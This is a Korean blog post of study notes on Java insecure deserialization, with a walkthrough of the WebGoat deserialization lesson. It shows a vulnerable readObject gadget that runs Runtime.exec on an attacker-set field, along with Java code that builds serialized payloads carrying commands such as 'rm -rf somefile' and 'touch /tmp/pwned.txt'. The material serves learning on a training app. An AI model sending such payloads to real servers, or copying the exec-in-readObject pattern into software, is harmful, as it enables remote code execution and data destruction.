본문 바로가기
개념정리/WEB Hacking 개념 정리

역직렬화 취약점

by 이우정 2022. 3. 6.
728x90

직렬화 

- 객체를 좀 더 효율적으로 저장하기 위해

- 객체를 전송하기 위해

- 한줄로 직렬로 쭉 적어버린다~

- JSON형식을 가장 많이 사용하며 이전에는 XML을 사용했다. 

=> 대상 : 코드 X 데이터 O

 

역직렬화

- 직렬화의 반대

- 직렬화된 객체(한줄짜리)를 원래의 객체로 재구성하는 것

- 직렬화된 문자열의 모든 데이터를 복원해서 원래 상태(객체)로 만든다. 

 

=> 클라이언트와 서버가 모두 알 수 있는 객체를 직렬화해야한다. (클라이언트만 알고 있는 애를 보내면 안된다. )

 

자체 직렬화

- 각 프로그램 언어가 각자의 자체 직렬화 기능을 보유

- 자체 기능이 신뢰할 수 없는 데이터로부터 악영향을 받기도 한다. 

- DoS, 접근통제, 원격 코드 실행 공격에 악용

- 자체 역직렬화 과정에서 악용

(알고보니 직렬화된 거에 악성 데이터(코드가 아닌 데이터임)가 있었다!!! 역직렬화하고 알게되었다!!)

 

// 형태를 맞춰주기 위해 작성하는 코드
InputStream is = request.getInputStrea();
ObjectInputStream ois = new ObjectInputStream(is); // is에서 ois를 뽑아냄
// 실제 역직렬화 부분 (readObject)
// 전송받을 형태를 갖춘 역직렬화 객체 => readObject => acme로 형변환
AcmeObject acme = (AcmeObject)ois.readObject(); 
// readObject : 직렬화된 객체에 들어있는 자료를 꺼내오는 메소드

직렬화된 데이터를 AcmeObject라는 객체로 복원

- AcmeObject로 형변화 하기 전에 readObject()함수가 실행됨.

- 자체 직렬화는 커스터 마이징을 제공 => readObject()가 커스터 마이징이 되어 있다면?

- readObject() 함수가 위험한 동작을 수행하여 악용 가능


특징

1) 직렬화

2) readObject() 내부에 취약

public class GadgetObject implements Serializable { // 직렬화 기능
	string cmd,
    private void readObject( ObjectInputStream stream ) throws Exception { 
    // readObject가 커스터마이징
    	Runtime.getRuntime().exec(cmd);
        // 명령어 호출 함수 사용
    }
}

공격

GadgetObject go = new GadgetObject(); 
// 가젯 생성 (해당 가젯은 직렬화하고 악의적인 명령을 수행할 수 있는 readObject 함수가 포함되어 있음)
go.cmd = "touch /tmp/pwned.txt";
// 가젯의 시스템 명령어

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
// oos : 직렬화된 객체
oos.writeObject(go);
// 직렬화에 시스템 명령어를 삽입
oos.flush();
byte[] exploit = bos.toByteArray();
// 서버로 "악의적인 명령어가 삽입된" 직렬화된 데이터가 전송됨

* Gadget : 클래스나 함수처럼 응용 프로그램을 실핼 할 수 있는 한 단위. 작은 소프트웨어, 함수, 특정 데이터, 소스코드가 될 수도 있다. "공격용으로 악용 가능한 취약한 소스코드"

 

* Gadgets Chain : 한가지 가젯이 두번째 가젯을 실행 시키고 두번재가 세번째를 실행시키면서 여러 동작이 실행하다가 실제 위험한 동작이 트리거 되는 것. 위험한 동작을 수행하는 가젯이 실행할 때까지의 가젯 집합들을 의미한다. (상당한 크기의 코드 분석이 필요. 서로 엮인 가젯들 사이에서 위험한 동작을 수행하는 애를 확인해야함.)


Class included in ClassPath

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {
		// 직렬화 가능한 VulnerableTaskHolder 함수
        private static final long serialVersionUID = 1;

        private String taskName;
        private String taskAction;
        private LocalDateTime requestedExecutionTime;

        public VulnerableTaskHolder(String taskName, String taskAction) {
                super();
                this.taskName = taskName;
                this.taskAction = taskAction; // readObject를 통해 실행되는 명령어
                this.requestedExecutionTime = LocalDateTime.now();
        }

        private void readObject( ObjectInputStream stream ) throws Exception {
        //deserialize data so taskName and taskAction are available
        //역직렬화 데이터의 taskName과 taskAction
                stream.defaultReadObject();

                //blindly run some code. #code injection
                Runtime.getRuntime().exec(taskAction);
                // 명령어 실행
     }
}

Exploit

상단의 코드가 존재하다면 공격자는 객체를 직렬화하면서 원격 시행 코드를 함께 삽입할 수 있다.

VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");
// 악의적인 명령어

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
// 직렬화 객체
oos.writeObject(go);
// 명령어 삽입
oos.flush();
byte[] exploit = bos.toByteArray();
// 서버에 직렬화 객체 전송

 


문제 풀이,,,

안풀렸지만 과정은 이게 맞는거 같은데,,,

 

일단 해당 lesson의 코드를 github에서 확인한다.

/WebGoat/InsecureDeserialization/task 에서 처리하고 있다. 

해당 코드에서 readObject 함수를 확인할 수 있다.

VulnerableTaskHolder.java 파일의 코드

package org.dummy.insecure.framework;

//import lombok.extern.slf4j.Slf4j;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

//@Slf4j
public class VulnerableTaskHolder implements Serializable { // 직렬화

	private static final long serialVersionUID = 2;

	private String taskName;
	private String taskAction;
	private LocalDateTime requestedExecutionTime;
	
	public VulnerableTaskHolder(String taskName, String taskAction) {
		super();
		this.taskName = taskName;
		this.taskAction = taskAction;
		this.requestedExecutionTime = LocalDateTime.now();
	}
	
	@Override
	public String toString() {
		return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
				+ requestedExecutionTime + "]";
	}

	/**
	 * Execute a task when de-serializing a saved or received object.
	 * @author stupid develop
	 */
	// readObject 존재
	private void readObject( ObjectInputStream stream ) throws Exception {
        //unserialize data so taskName and taskAction are available
		stream.defaultReadObject();
		
		//do something with the data
		log.info("restoring task: {}", taskName);
		log.info("restoring time: {}", requestedExecutionTime);
		
		if (requestedExecutionTime!=null && 
				(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
				|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
			//do nothing is the time is not within 10 minutes after the object has been created
			log.debug(this.toString());
			throw new IllegalArgumentException("outdated");
		}
		
		//condition is here to prevent you from destroying the goat altogether
		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        } catch (IOException e) {
            log.error("IO Exception", e);
        }
		}
       
    }
	
}

해당 코드의 readObject를 악용하기 위한

Main.java 파일

package org.dummy.insecure.framework;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Main {
    static public void main(String[] args){
        try{
            VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 5");
            // readObject를 포함하고 있는 직렬화 및 명령어 삽입 가능 코드)
            
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            // 직렬화
            oos.writeObject(go);
            // 명령어 삽입
            oos.flush();
            byte[] exploit = bos.toByteArray();
            String exp = Base64.getEncoder().encodeToString(exploit);
            System.out.println(exp);
            // 직렬화된 데이터 출력
        } catch (Exception e){

        }

    }
}

그래서 출력된 직렬화된 코드를 넣었는데 안된다....

 

 

728x90

'개념정리 > WEB Hacking 개념 정리' 카테고리의 다른 글

XSS 구분 & 공격 구문  (0) 2022.03.02
직렬화 & 역직렬화 취약점  (0) 2022.02.23
http Header  (0) 2022.02.23
JWT 개념 정리  (0) 2022.02.11